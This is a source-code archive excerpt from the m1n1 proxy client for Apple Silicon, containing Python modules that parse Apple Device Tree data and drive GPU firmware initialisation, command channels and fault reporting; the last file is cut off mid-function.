m1n1-1.4.11/proxyclient/m1n1/000077500000000000000000000000001453754430200155155ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/__init__.py000066400000000000000000000000001453754430200176140ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/adt.py000066400000000000000000000555471453754430200166570ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import itertools, fnmatch, sys from construct import * import sys from .utils import AddrLookup, FourCC, SafeGreedyRange __all__ = ["load_adt"] ADTPropertyStruct = Struct( "name" / PaddedString(32, "ascii"), "size" / Int32ul, "value" / Bytes(this.size & 0x7fffffff) ) ADTNodeStruct = Struct( "property_count" / Int32ul, "child_count" / Int32ul, "properties" / Array(this.property_count, Aligned(4, ADTPropertyStruct)), "children" / Array(this.child_count, LazyBound(lambda: ADTNodeStruct)) ) ADTStringList = SafeGreedyRange(CString("ascii")) ADT2Tuple = Array(2, Hex(Int64ul)) ADT3Tuple = Array(3, Hex(Int64ul)) Function = Struct( "phandle" / Int32ul, "name" / FourCC, "args" / SafeGreedyRange(Int32ul), ) STD_PROPERTIES = { "cpu-impl-reg": ADT2Tuple, "name": CString("ascii"), "compatible": ADTStringList, "model": CString("ascii"), "#size-cells": Int32ul, "#address-cells": Int32ul, "clock-ids": SafeGreedyRange(Int32ul), "clock-gates": SafeGreedyRange(Int32ul), "power-gates": SafeGreedyRange(Int32ul), } PMAPIORanges = SafeGreedyRange(Struct( "addr" / Hex(Int64ul), "size" / Hex(Int64ul), "flags" / Hex(Int32ul), "name" / FourCC, )) PMGRPSRegs = SafeGreedyRange(Struct( "reg" / Int32ul, "offset" / Hex(Int32ul), "mask" / Hex(Int32ul), )) PMGRPerfRegs = SafeGreedyRange(Struct( "reg" / Int32ul, "offset" / Hex(Int32ul), "size" / Hex(Int32ul), "unk" / Int32ul, )) PMGRPWRGateRegs = SafeGreedyRange(Struct( "reg" / Int32ul, "offset" / Hex(Int32ul), "mask" / Hex(Int32ul), "unk" / Hex(Int32ul), )) PMGRDeviceFlags = BitStruct( "b7" / Flag, "b6" / Flag, "perf" / Flag, "no_ps" / Flag, "critical" / Flag, "b2" / Flag, "notify_pmp" / Flag, "on" / Flag, ) PMGRDevices = SafeGreedyRange(Struct( "flags" / PMGRDeviceFlags, "unk1_0" / Int8ul, "unk1_1" / Int8ul, "unk1_2" / Int8ul, "parents" / Array(2, Int16ul), "perf_idx" / Int8ul, "perf_block" / Int8ul, "psidx" / Int8ul, "psreg" / Int8ul, "unk2_0" / Int16ul, "pd" / Int8ul, "ps_cfg16" / Int8ul, Const(0, Int32ul), Const(0, Int32ul), "unk2_3" / Int16ul, "id" / Int16ul, "unk3" / Int32ul, "name" / PaddedString(16, "ascii") )) PMGRClocks = SafeGreedyRange(Struct( "perf_idx" / Int8ul, "perf_block" / Int8ul, "unk" / Int8ul, "id" / Int8ul, Const(0, Int32ul), "name" / PaddedString(16, "ascii"), )) PMGRPowerDomains = SafeGreedyRange(Struct( "unk" / Int8ul, "perf_idx" / Int8ul, "perf_block" / Int8ul, "id" / Int8ul, "flags" / Int32ul, "name" / PaddedString(16, "ascii"), )) PMGRDeviceBridges = SafeGreedyRange(Struct( "idx" / Int32ub, "subdevs" / HexDump(Bytes(0x48)), )) PMGREvents = SafeGreedyRange(Struct( "unk1" / Int8ul, "unk2" / Int8ul, "unk3" / Int8ul, "id" / Int8ul, "perf2_idx" / Int8ul, "perf2_block" / Int8ul, "perf_idx" / Int8ul, "perf_block" / Int8ul, "name" / PaddedString(16, "ascii"), )) GPUPerfState = Struct( "freq" / Int32ul, "volt" / Int32ul, ) GPUPerfState64 = Struct( "volt" / Int64ul, "freq" / Int64ul, ) GPUPerfStates64 = Struct( "dies" / Int64ul, "count" / Int64ul, "states" / Array(this.dies, Array(this.count, GPUPerfState64)), "min_sram_volt" / Array(this.dies, Int64ul), ) SpeakerConfig = Struct( "rx_slot" / Int8ul, "amp_gain" / Int8ul, "vsense_slot" / Int8ul, "isense_slot" / Int8ul, ) DCBlockerConfig = Struct( "dc_blk0" / Hex(Int8ul), "dc_blk1" / Hex(Int8ul), "pad" / Hex(Int16ul), ) Coef = ExprAdapter(Int32ul, lambda x, ctx: (x - ((x & 0x1000000) << 1)) / 65536, lambda x, ctx: int(round(x * 65536)) & 0x1ffffff) MTRPolynomFuseAGX = GreedyRange(Struct( "id" / Int32ul, "data" / Prefixed(Int32ul, GreedyRange(Coef)), )) SpeakerThieleSmall = Struct( "unk0" / Int16ul, "unk1" / Int16ul, "speakers" / GreedyRange(Struct( "pad0" / Hex(Int32ul), "r_mohm" / Int16ul, "temp" / Int16ul, "pad1" / Hex(Int32ul), "pad2" / Hex(Int32ul), "pad3" / Hex(Int16ul), "name" / FourCC, )), "checksum" / Hex(Int16ul), ) TunableGlobal = Struct( "reg_idx" / Hex(Int32ul), "offset" / Hex(Int32ul), "mask" / Hex(Int32ul), "value" / Hex(Int32ul), ) TunableLocal = Struct( "offset" / Hex(Int32ul), "size" / Hex(Int32ul), "mask" / Hex(Int64ul), "value" / Hex(Int64ul), ) DAPFT8110 = Struct( "start" / Hex(Int64ul), "end" / Hex(Int64ul), "r20" / Hex(Int32ul), "unk1" / Hex(Int32ul), "r4" / Hex(Int32ul), "unk2" / Array(5, Hex(Int32ul)), "unk3" / Hex(Int8ul), "r0h" / Hex(Int8ul), "r0l" / Hex(Int8ul), "unk4" / Hex(Int8ul), ) DAPFT8110B = Struct( "start" / Hex(Int64ul), "end" / Hex(Int64ul), "r20" / Hex(Int32ul), "unk1" / Hex(Int32ul), "r4" / Hex(Int32ul), "unk2" / Array(5, Hex(Int32ul)), "unk3" / Hex(Int8ul), "r0h" / Hex(Int8ul), "r0l" / Hex(Int8ul), "unk4" / Hex(Int8ul), "pad" / Hex(Int32ul), ) DAPFT8110C = Struct( "start" / Hex(Int64ul), "end" / Hex(Int64ul), "r20" / Hex(Int32ul), "unk1" / Hex(Int32ul), "r4" / Hex(Int32ul), "unk2" / Array(5, Hex(Int32ul)), "unk3" / Hex(Int8ul), "r0h" / Hex(Int8ul), "r0l" / Hex(Int8ul), "unk4" / Hex(Int8ul), "pad" / Array(3, Hex(Int8ul)), ) DEV_PROPERTIES = { "pmgr": { "*": { "clusters": SafeGreedyRange(Int32ul), "devices": PMGRDevices, "ps-regs": PMGRPSRegs, "perf-regs": PMGRPerfRegs, "pwrgate-regs": PMGRPWRGateRegs, "power-domains": PMGRPowerDomains, "clocks": PMGRClocks, "device-bridges": PMGRDeviceBridges, "voltage-states*": SafeGreedyRange(Int32ul), "events": PMGREvents, "mtr-polynom-fuse-agx": MTRPolynomFuseAGX, } }, "clpc": { "*": { "events": SafeGreedyRange(Int32ul), "devices": SafeGreedyRange(Int32ul), } }, "soc-tuner": { "*": { "device-set-*": SafeGreedyRange(Int32ul), "mcc-configs": SafeGreedyRange(Int32ul), } }, "mcc": { "*": { "dramcfg-data": SafeGreedyRange(Int32ul), "config-data": SafeGreedyRange(Int32ul), } }, "*pmu*": { "*": { "info-*name*": CString("ascii"), "info-*": SafeGreedyRange(Hex(Int32ul)), }, }, "stockholm-spmi": { "*": { "required-functions": ADTStringList, }, }, "sgx": { "*": { "perf-states*": SafeGreedyRange(GPUPerfState), "afr-perf-states": GPUPerfStates64, "cs-perf-states": GPUPerfStates64, "*-kp": Float32l, "*-kp-1": Float32l, "*-ki": Float32l, "*-ki-*": Float32l, "*-gain*": Float32l, "*-scale*": Float32l, } }, "arm-io": { "*": { "clock-frequencies": SafeGreedyRange(Int32ul), "clock-frequencies-regs": SafeGreedyRange(Hex(Int64ul)), "clock-frequencies-nclk": SafeGreedyRange(Int32ul), }, }, "defaults": { "*": { "pmap-io-ranges": PMAPIORanges, } }, "audio-*": { "*": { "speaker-config": SafeGreedyRange(SpeakerConfig), "amp-dcblocker-config": DCBlockerConfig, }, }, "*aop-audio*": { "*": { "clockSource": FourCC, "identifier": FourCC, }, }, "*alc?/audio-leap-mic*": { "*": { "audio-stream-formatter": FourCC, } }, "audio": { "*": { "speaker-thiele-small": SpeakerThieleSmall, }, }, "apcie*": { "*": { "apcie-*-tunables": GreedyRange(TunableLocal), } }, } def parse_prop(node, path, node_name, name, v, is_template=False): t = None if is_template: t = CString("ascii") v = Sequence(t, Terminated).parse(v)[0] return t, v dev_props = None for k, pt in DEV_PROPERTIES.items(): if fnmatch.fnmatch(path, k): dev_props = pt break if not dev_props: for k, pt in DEV_PROPERTIES.items(): if fnmatch.fnmatch(node_name, k): dev_props = pt break possible_match = False if dev_props: for compat_match, cprops in dev_props.items(): for k, pt in cprops.items(): if fnmatch.fnmatch(name, k): possible_match = True break if possible_match: try: compat = node.compatible[0] except AttributeError: compat = "" for compat_match, cprops in dev_props.items(): if fnmatch.fnmatch(compat, compat_match): for k, pt in cprops.items(): if fnmatch.fnmatch(name, k): t = pt break else: continue break if v == b'' or v is None: return None, None if name.startswith("function-"): if len(v) == 4: t = FourCC else: t = Function if name == "reg" and path != "/device-tree/memory": n = node._parent while n is not None and n._parent is not None: if "ranges" not in n._properties: break n = n._parent else: rs = node._reg_struct if len(v) % rs.sizeof() == 0: t = SafeGreedyRange(rs) elif name == "ranges": try: ac, sc = node.address_cells, node.size_cells except AttributeError: return None, v pac, _ = node._parent.address_cells, node._parent.size_cells at = Hex(Int64ul) if ac == 2 else Array(ac, Hex(Int32ul)) pat = Hex(Int64ul) if pac == 2 else Array(pac, Hex(Int32ul)) st = Hex(Int64ul) if sc == 2 else Array(sc, Hex(Int32ul)) t = SafeGreedyRange(Struct("bus_addr" / at, "parent_addr" / pat, "size" / st)) elif name.startswith("dapf-instance-"): try: flags = node.dart_options except AttributeError: return None, v if flags & 0x40: if len(v) % DAPFT8110B.sizeof() == 0: if len(v) % DAPFT8110C.sizeof() != 0: t = GreedyRange(DAPFT8110B) else: t = GreedyRange(DAPFT8110C) else: t = GreedyRange(DAPFT8110) elif name == "interrupts": # parse "interrupts" as Array of Int32ul, wrong for nodes whose # "interrupt-parent" has "interrupt-cells" = 2 # parsing this correctly would require a second pass t = Array(len(v) // 4, Int32ul) if t is not None: v = Sequence(t, Terminated).parse(v)[0] return t, v if name in STD_PROPERTIES: t = STD_PROPERTIES[name] elif v and v[-1] == 0 and all(0x20 <= i <= 0x7e for i in v[:-1]): t = CString("ascii") elif len(v) == 4: t = Int32ul elif len(v) == 8: t = Int64ul elif len(v) == 16 and all(v[i] == 0 for i in (6, 7, 14, 15)): t = ADT2Tuple if t is not None: try: v = Sequence(t, Terminated).parse(v)[0] except: print("Failed to parse:", path, name, v.hex()) raise return t, v def build_prop(path, name, v, t=None): if v is None: return b'' if t is not None: return t.build(v) if isinstance(v, bytes): return v if name in STD_PROPERTIES: t = STD_PROPERTIES[name] elif isinstance(v, str): t = CString("ascii") elif isinstance(v, int): if v > 0xffffffff: t = Int64ul else: t = Int32ul elif isinstance(v, float): t = Float32l elif isinstance(v, tuple) and all(isinstance(i, int) for i in v): t = Array(len(v), Int32ul) return t.build(v) class ADTNode: def __init__(self, val=None, path="/", parent=None): self._children = [] self._properties = {} self._types = {} self._parent_path = path self._parent = parent if val is not None: for p in val.properties: if p.name == "name": _name = p.value.decode("ascii").rstrip("\0") break else: raise ValueError(f"Node in {path} has no name!") path = self._parent_path + _name raw = {} for p in val.properties: raw[p.name] = p.value is_template = bool(p.size & 0x80000000) try: t, v = parse_prop(self, path, _name, p.name, p.value, is_template) self._types[p.name] = t, is_template self._properties[p.name] = v except Exception as e: print(f"Exception parsing {path}.{p.name} value {p.value.hex()}:", file=sys.stderr) raise # Second pass for k, (t, is_template) in self._types.items(): if t is None: t, v = parse_prop(self, path, _name, k, self._properties[k], is_template) self._types[k] = t, is_template self._properties[k] = v assert build_prop(self._path, k, v, t=t) == raw[k] for c in val.children: node = ADTNode(c, f"{self._path}/", parent=self) self._children.append(node) @property def _path(self): return self._parent_path + self.name def __getitem__(self, item): if isinstance(item, str): while item.startswith("/"): item = item[1:] if "/" in item: a, b = item.split("/", 1) return self[a][b] for i in self._children: if i.name == item: return i raise KeyError(f"Child node '{item}' not found") return self._children[item] def __setitem__(self, item, value): if isinstance(item, str): while item.startswith("/"): item = item[1:] if "/" in item: a, b = item.split("/", 1) self[a][b] = value return for i, c in enumerate(self._children): if c.name == item: self._children[i] = value break else: self._children.append(value) else: self._children[item] = value def __delitem__(self, item): if isinstance(item, str): while item.startswith("/"): item = item[1:] if "/" in item: a, b = item.split("/", 1) del self[a][b] return for i, c in enumerate(self._children): if c.name == item: del self._children[i] return raise KeyError(f"Child node '{item}' not found") del self._children[item] def __contains__(self, item): if isinstance(item, str): while item.startswith("/"): item = item[1:] if "/" in item: a, b = item.split("/", 1) return b in self[a] for c in self._children: if c.name == item: return True return False return item in self._children def __getattr__(self, attr): attr = attr.replace("_", "-") attr = attr.replace("--", "_") if attr in self._properties: return self._properties[attr] raise AttributeError(attr) def __setattr__(self, attr, value): if attr[0] == "_": self.__dict__[attr] = value return attr = attr.replace("_", "-") attr = attr.replace("--", "_") self._properties[attr] = value def __delattr__(self, attr): if attr[0] == "_": del self.__dict__[attr] return attr = attr.replace("_", "-") attr = attr.replace("--", "_") del self._properties[attr] def getprop(self, name, default=None): return self._properties.get(name, default) @property def address_cells(self): try: return self._properties["#address-cells"] except KeyError: raise AttributeError("#address-cells") @property def size_cells(self): try: return self._properties["#size-cells"] except KeyError: raise AttributeError("#size-cells") @property def interrupt_cells(self): try: return self._properties["#interrupt-cells"] except KeyError: raise AttributeError("#interrupt-cells") def _fmt_prop(self, k, v): t, is_template = self._types.get(k, (None, False)) if is_template: return f"<< {v} >>" elif isinstance(v, ListContainer): return f"[{', '.join(self._fmt_prop(k, i) for i in v)}]" elif isinstance(v, bytes): if all(i == 0 for i in v): return f"zeroes({len(v):#x})" else: return v.hex() elif k.startswith("function-"): if isinstance(v, str): return f"{v}()" elif v is None: return f"None" else: args = [] for arg in v.args: b = arg.to_bytes(4, "big") is_ascii = all(0x20 <= c <= 0x7e for c in b) args.append(f"{arg:#x}" if not is_ascii else f"'{b.decode('ascii')}'") return f"{v.phandle}:{v.name}({', '.join(args)})" name.startswith("function-") else: return str(v) def __str__(self, t=""): return "\n".join([ t + f"{self.name} {{", *(t + f" {k} = {self._fmt_prop(k, v)}" for k, v in self._properties.items() if k != "name"), "", *(i.__str__(t + " ") for i in self._children), t + "}" ]) def __repr__(self): return f"" def __iter__(self): return iter(self._children) @property def _reg_struct(self): ac, sc = self._parent.address_cells, self._parent.size_cells return Struct( "addr" / Hex(Int64ul) if ac == 2 else Array(ac, Hex(Int32ul)), "size" / Hex(Int64ul) if sc == 2 else Array(sc, Hex(Int32ul)) ) def get_reg(self, idx): reg = self.reg[idx] addr = reg.addr size = reg.size return self._parent.translate(addr), size def translate(self, addr): node = self while node is not None: if "ranges" not in node._properties: break for r in node.ranges: ba = r.bus_addr # PCIe special case, because Apple really broke # the spec here with their little endian antics if isinstance(ba, list) and len(ba) == 3: ba = (ba[0] << 64) | (ba[2] << 32) | ba[1] if ba <= addr < (ba + r.size): addr = addr - ba + r.parent_addr break node = node._parent return addr def to_bus_addr(self, addr): node = self._parent descend = [] while node is not None: if "ranges" not in node._properties: break descend.append(node) node = node._parent for node in reversed(descend): for r in node.ranges: if r.parent_addr <= addr < (r.parent_addr + r.size): addr = addr - r.parent_addr + r.bus_addr break return addr def tostruct(self): properties = [] for k,v in itertools.chain(self._properties.items()): t, is_template = self._types.get(k, (None, False)) value = build_prop(self._path, k, v, t=t) properties.append({ "name": k, "size": len(value) | (0x80000000 if is_template else 0), "value": value }) data = { "property_count": len(self._properties), "child_count": len(self._children), "properties": properties, "children": [c.tostruct() for c in self._children] } return data def build(self): return ADTNodeStruct.build(self.tostruct()) def walk_tree(self): yield self for child in self: yield from child def build_addr_lookup(self): lookup = AddrLookup() for node in self.walk_tree(): reg = getattr(node, 'reg', None) if not isinstance(reg, list): continue for index in range(len(reg)): try: addr, size = node.get_reg(index) except AttributeError: continue if size == 0: continue lookup.add(range(addr, addr + size), node.name + f"[{index}]") return lookup def create_node(self, name): while name.startswith("/"): name = name[1:] if "/" in name: a, b = name.split("/", 1) return self[a].create_node(b) node = ADTNode(path=self._path + "/", parent=self) node.name = name node._types["reg"] = (SafeGreedyRange(node._reg_struct), False) self[name] = node return node def load_adt(data): return ADTNode(ADTNodeStruct.parse(data)) if __name__ == "__main__": import sys, argparse, pathlib parser = argparse.ArgumentParser(description='ADT test for m1n1') parser.add_argument('input', type=pathlib.Path) parser.add_argument('output', nargs='?', type=pathlib.Path) parser.add_argument('-r', '--retrieve', help='retrieve and store the adt from m1n1', action='store_true') parser.add_argument('-a', '--dump-addr', help='dump address lookup table', action='store_true') args = parser.parse_args() if args.retrieve: if args.input.exists(): print('Error "{}" exists!'.format(args.input)) sys.exit() from .setup import * adt_data = u.get_adt() args.input.write_bytes(adt_data) else: adt_data = args.input.read_bytes() adt = load_adt(adt_data) print(adt) new_data = adt.build() if args.output is not None: args.output.write_bytes(new_data) assert new_data == adt_data[:len(new_data)] assert adt_data[len(new_data):] == bytes(len(adt_data) - len(new_data)) if args.dump_addr: print("Address lookup table:") print(adt.build_addr_lookup()) m1n1-1.4.11/proxyclient/m1n1/agx/000077500000000000000000000000001453754430200162745ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/agx/__init__.py000066400000000000000000000304121453754430200204050ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import bisect, time from .object import GPUObject, GPUAllocator from .initdata import build_initdata from .channels import * from .event import GPUEventManager from ..constructutils import Ver from ..proxy import IODEV from ..malloc import Heap from ..hw.uat import UAT, MemoryAttr from ..hw.agx import * from ..fw.agx import AGXASC from ..fw.agx.channels import ChannelInfoSet, ChannelInfo class AGXChannels: pass class AGXQueue: pass class AGX: PAGE_SIZE = 0x4000 MAX_EVENTS = 128 def __init__(self, u): self.start_time = time.time() self.u = u self.p = u.proxy self.iface = u.iface self.show_stats = False self.asc_dev = u.adt["/arm-io/gfx-asc"] self.sgx_dev = u.adt["/arm-io/sgx"] if self.sgx_dev.compatible[0] in ("gpu,t6020", "gpu,t6021"): self.sgx = SGXRegsT602X(u, self.sgx_dev.get_reg(0)[0]) else: self.sgx = SGXRegs(u, self.sgx_dev.get_reg(0)[0]) self.log("Initializing allocations") self.aic_base = u.adt["/arm-io/aic"].get_reg(0)[0] self.all_objects = {} self.tracked_objects = {} # Memory areas self.fw_va_base = self.sgx_dev.rtkit_private_vm_region_base self.fw_va_size = self.sgx_dev.rtkit_private_vm_region_size self.kern_va_base = self.fw_va_base + self.fw_va_size # Set up UAT self.uat = UAT(self.u.iface, self.u) # Allocator for RTKit/ASC objects self.uat.allocator = Heap(self.kern_va_base + 0x80000000, self.kern_va_base + 0x81000000, self.PAGE_SIZE) self.asc = AGXASC(self.u, self.asc_dev.get_reg(0)[0], self, self.uat) self.asc.verbose = 0 self.asc.mgmt.verbose = 0 self.kobj = GPUAllocator(self, "kernel", self.kern_va_base, 0x20000000, AttrIndex=MemoryAttr.Shared, AP=1, guard_pages=16) self.cmdbuf = GPUAllocator(self, "cmdbuf", self.kern_va_base + 0x20000000, 0x20000000, AttrIndex=MemoryAttr.Shared, AP=1, UXN=1, PXN=1, guard_pages=16) self.kshared = GPUAllocator(self, "kshared", self.kern_va_base + 0x40000000, 0x20000000, AttrIndex=MemoryAttr.Shared, AP=1, guard_pages=16) self.kshared2 = GPUAllocator(self, "kshared2", self.kern_va_base + 0x60000000, 0x100000, AttrIndex=MemoryAttr.Shared, AP=0, PXN=1, guard_pages=16) self.kgpurw = GPUAllocator(self, "kernel GPU RW", self.kern_va_base + 0x70000000, 0x1000000, AttrIndex=MemoryAttr.Shared, AP=0, UXN=1, PXN=1) self.klow = GPUAllocator(self, "kernel_low", 0x1500000000, 0x100000, AttrIndex=MemoryAttr.Shared, AP=0, UXN=1, PXN=1) self.klow.align_to_end = False self.io_allocator = Heap(self.kern_va_base + 0x68000000, self.kern_va_base + 0x70000000, block=self.PAGE_SIZE) self.mon = None self.event_mgr = GPUEventManager(self) self.p.iodev_set_usage(IODEV.FB, 0) self.initdata_hook = None # Early init, needed? self.poke_sgx() def poke_sgx(self): self.sgx_base = self.sgx_dev.get_reg(0)[0] self.p.read32(self.sgx_base + 0xd14000) self.p.write32(self.sgx_base + 0xd14000, 0x70001) def find_object(self, addr, ctx=0): all_objects = list(self.all_objects.items()) all_objects.sort() idx = bisect.bisect_left(all_objects, ((ctx, addr + 1), "")) - 1 if idx < 0 or idx >= len(all_objects): return None, None (ctx, base), obj = all_objects[idx] return base, obj def reg_object(self, obj, track=True): self.all_objects[(obj._ctx, obj._addr)] = obj if track: if self.mon is not None: obj.add_to_mon(self.mon) self.tracked_objects[(obj._ctx, obj._addr)] = obj def unreg_object(self, obj): del self.all_objects[(obj._ctx, obj._addr)] if obj._addr in self.tracked_objects: del self.tracked_objects[(obj._ctx, obj._addr)] def poll_objects(self): for obj in self.tracked_objects.values(): diff = obj.poll() if diff is not None: self.log(diff) def alloc_channels(self, cls, name, channel_id, count=1, ring_size=0x100, rx=False): # All channels have 0x100 items item_count = ring_size item_size = cls.item_size ring_size = item_count * item_size self.log(f"Allocating {count} channel(s) for {name} ({item_count} * {item_size:#x} bytes each)") state_obj = self.kshared.new_buf(0x30 * count, f"Channel.{name}.state", track=False) if rx: ring_buf = self.kshared.new_buf(ring_size * count, f"Channel.{name}.ring", track=False) else: ring_buf = self.kobj.new_buf(ring_size * count, f"Channel.{name}.ring", track=False) info = ChannelInfo() info.state_addr = state_obj._addr info.ringbuffer_addr = ring_buf._addr if name == "FWCtl": self.fwctl_chinfo = info else: setattr(self.ch_info, name, info) return [cls(self, name + ("" if count == 1 else f"[{i}]"), channel_id, state_obj._paddr + 0x30 * i, ring_buf._paddr + ring_size * i, item_count) for i in range(count)] def init_channels(self): self.log("Initializing channels...") self.ch_info = ChannelInfoSet() self.ch = AGXChannels() self.ch.queue = [] # Command queue submission channels for index in range(4): queue = AGXQueue() self.ch.queue.append(queue) for typeid, chtype in enumerate(("TA", "3D", "CL")): name = f"{chtype}_{index}" chan = self.alloc_channels(GPUCmdQueueChannel, name, (index << 2) | typeid)[0] setattr(queue, "q_" + chtype, chan) # Device control channel self.ch.devctrl = self.alloc_channels(GPUDeviceControlChannel, "DevCtrl", 0x11)[0] # GPU -> CPU channels self.ch.event = self.alloc_channels(GPUEventChannel, "Event", None, rx=True)[0] self.ch.log = self.alloc_channels(GPULogChannel, "FWLog", None, 6, rx=True) self.ch.ktrace = self.alloc_channels(GPUKTraceChannel, "KTrace", None, ring_size=0x200, rx=True)[0] self.ch.stats = self.alloc_channels(GPUStatsChannel, "Stats", None, rx=True)[0] self.ch.fwctl = self.alloc_channels(GPUFWCtlChannel, "FWCtl", None, rx=False)[0] # For some reason, the FWLog channels have their rings in a different place... self.fwlog_ring = self.ch_info.FWLog.ringbuffer_addr self.ch_info.FWLog.ringbuffer_addr = self.kshared.buf(0x150000, "FWLog_Dummy") def poll_channels(self): for chan in self.ch.log: chan.poll() self.ch.ktrace.poll() if self.show_stats: self.ch.stats.poll() self.ch.event.poll() def kick_firmware(self): self.asc.db.doorbell(0x10) def show_irqs(self): hw_state = self.aic_base + 0x4200 irqs = [] for irq in self.sgx_dev.interrupts: v = int(bool((self.p.read32(hw_state + (irq // 32) * 4) & (1 << (irq % 32))))) irqs.append(v) self.log(f' SGX IRQ state: {irqs}') def timeout(self, msg): if self.mon: self.mon.poll() self.poll_objects() self.log(msg) self.log(r' (\________/) ') self.log(r' | | ') self.log(r"'.| \ , / |.'") self.log(r'--| / (( \ |--') self.log(r".'| _-_- |'.") self.log(r' |________| ') self.log(r'') self.log(r' Timeout nya~!!!!!') self.log(r'') self.log(f' Stamp index: {int(msg.stamp_index)}') self.show_pending_stamps() self.log(f' Fault info:') self.log(self.initdata.regionC.fault_info) self.show_irqs() self.check_fault() self.recover() def faulted(self, msg): if self.mon: self.mon.poll() self.poll_objects() self.log(msg) self.log(r' (\________/) ') self.log(r' | | ') self.log(r"'.| \ , / |.'") self.log(r'--| / (( \ |--') self.log(r".'| _-_- |'.") self.log(r' |________| ') self.log(r'') self.log(r' Fault nya~!!!!!') self.log(r'') self.show_pending_stamps() self.log(f' Fault info:') self.log(self.initdata.regionC.fault_info) self.show_irqs() self.check_fault() self.recover() def show_pending_stamps(self): if Ver.check("V >= V13_5B4"): info_bits = 4 else: info_bits = 3 self.initdata.regionC.pull() self.log(f' Pending stamps:') for (off, i) in enumerate(self.initdata.regionC.pending_stamps): if i.info or i.wait_value: self.log(f" - [{off}] #{i.info >> info_bits:3d}: {i.info & ((1 << info_bits) - 1)}/{i.wait_value:#x}") i.info = 0 i.wait_value = 0 tmp = i.regmap() tmp.info.val = 0 tmp.wait_value.val = 0 #self.initdata.regionC.push() def check_fault(self): fault_info = self.sgx.FAULT_INFO.reg if fault_info.value == 0xacce5515abad1dea: raise Exception("Got fault notification, but fault address is unreadable") self.log(f" Fault info: {fault_info}") if not fault_info.FAULTED: return fault_addr = getattr(self.sgx, "FAULT_ADDR", None) if fault_addr is not None: fault_addr = fault_addr.val << 6 else: fault_addr = fault_info.ADDR << 6 if fault_addr & 0x8000000000: fault_addr |= 0xffffff8000000000 base, obj = self.find_object(fault_addr, ctx=fault_info.CONTEXT) info = "" if obj is not None: info = f" ({obj!s} + {fault_addr - base:#x})" self.log(f" GPU fault at {fault_addr:#x}{info}") self.log(f" Faulting unit: {agx_decode_unit(fault_info.UNIT)}") def recover(self): status = self.fw_status self.log(f" Halt count: {status.halt_count.val}") halted = bool(status.halted.val) self.log(f" Halted: {halted}") if halted: self.log(f" Attempting recovery...") status.halted.val = 0 status.resume.val = 1 else: raise Exception("Cannot recover") self.show_irqs() def resume(self): self.log("Starting ASC") self.asc.start() self.log("Starting endpoints") self.asc.start_ep(0x20) self.asc.start_ep(0x21) def start(self): self.resume() self.init_channels() self.log("Building initdata") self.initdata = build_initdata(self) if self.initdata_hook: self.initdata_hook(self) self.fw_status = self.initdata.fw_status.regmap() self.uat.flush_dirty() self.log("Sending initdata") self.asc.fw.send_initdata(self.initdata._addr & 0xfff_ffffffff) self.asc.work() self.log("Sending DC_Init") self.ch.devctrl.send_init() self.asc.work() self.log("Sending DC_UpdateIdleTS") self.ch.devctrl.update_idle_ts() self.asc.work() def stop(self): self.asc.stop() def work(self): self.asc.work() def wait_for_events(self, timeout=1.0): now = time.time() deadline = now + timeout cnt = self.event_mgr.event_count while now < deadline and self.event_mgr.event_count == cnt: self.asc.work() now = time.time() if self.event_mgr.event_count == cnt: raise Exception("Timed out waiting for events") def log(self, msg): t = time.time() - self.start_time print(f"[AGX][{t:10.03f}] " + str(msg)) m1n1-1.4.11/proxyclient/m1n1/agx/channels.py000066400000000000000000000114051453754430200204420ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from construct import * from ..fw.agx.channels import * from ..fw.agx.cmdqueue import * class GPUChannel: STATE_FIELDS = ChannelStateFields def __init__(self, agx, name, channel_id, state_addr, ring_addr, ring_size): self.agx = agx self.u = agx.u self.name = name self.channel_id = channel_id self.iface = agx.u.iface self.state_addr = state_addr self.ring_addr = ring_addr self.ring_size = ring_size self.state = self.STATE_FIELDS(self.u, self.state_addr) self.state.READ_PTR.val = 0 self.state.WRITE_PTR.val = 0 @classmethod @property def item_size(cls): return cls.MSG_CLASS.sizeof() def log(self, msg): self.agx.log(f"[{self.name}] {msg}") class GPUTXChannel(GPUChannel): def doorbell(self): self.agx.asc.db.doorbell(self.channel_id) def send_message(self, msg): wptr = self.state.WRITE_PTR.val self.iface.writemem(self.ring_addr + self.item_size * wptr, msg.build()) self.state.WRITE_PTR.val = (wptr + 1) % self.ring_size self.doorbell() class GPURXChannel(GPUChannel): def poll(self): wptr = self.state.WRITE_PTR.val rptr = self.state.READ_PTR.val if wptr >= self.ring_size: raise Exception(f"wptr = {wptr:#x} > {self.ring_size:#x}") while rptr != wptr: msg = self.iface.readmem(self.ring_addr + self.item_size * rptr, self.item_size) self.handle_message(self.MSG_CLASS.parse(msg)) rptr = (rptr + 1) % self.ring_size self.state.READ_PTR.val = rptr def handle_message(self, msg): self.log(f"Message: {msg}") class GPUCmdQueueChannel(GPUTXChannel): MSG_CLASS = RunCmdQueueMsg def run(self, queue, event): msg = RunCmdQueueMsg() msg.queue_type = queue.TYPE msg.cmdqueue = queue.info msg.cmdqueue_addr = queue.info._addr msg.head = queue.wptr msg.event_number = event msg.new_queue = 1 if queue.first_time else 0 queue.first_time = False #print(msg) self.send_message(msg) class GPUDeviceControlChannel(GPUTXChannel): MSG_CLASS = DeviceControlMsg def send_init(self): self.send_message(DC_Init()) def dc_09(self, a, ptr, b): # Writes to InitData.RegionB msg = DC_09() msg.unk_4 = a msg.unkptr_c = ptr msg.unk_14 = b self.send_message(msg) def send_foo(self, t, d=None): msg = DC_Any() msg.msg_type = t if d is not None: msg.data = d self.send_message(msg) def update_idle_ts(self): self.send_message(DC_UpdateIdleTS()) def destroy_context(self, ctx): msg = DC_DestroyContext() msg.unk_4 = 0 msg.unk_8 = 2 msg.unk_c = 0 msg.unk_10 = 0 msg.unk_14 = 0xffff msg.unk_18 = 0 msg.context_addr = ctx.gpu_context._addr print(msg) self.send_message(msg) # Maybe related to stamps? def write32(self, addr, val): msg = DC_Write32() msg.addr = addr msg.data = val msg.unk_10 = 0 msg.unk_14 = 0 msg.unk_18 = 0 msg.unk_1c = 0 print(msg) self.send_message(msg) def dc_1e(self, a, b): msg = DC_1e() msg.unk_4 = a msg.unk_c = b print(msg) self.send_message(msg) class GPUFWCtlChannel(GPUTXChannel): STATE_FIELDS = FWControlStateFields MSG_CLASS = FWCtlMsg def doorbell(self): 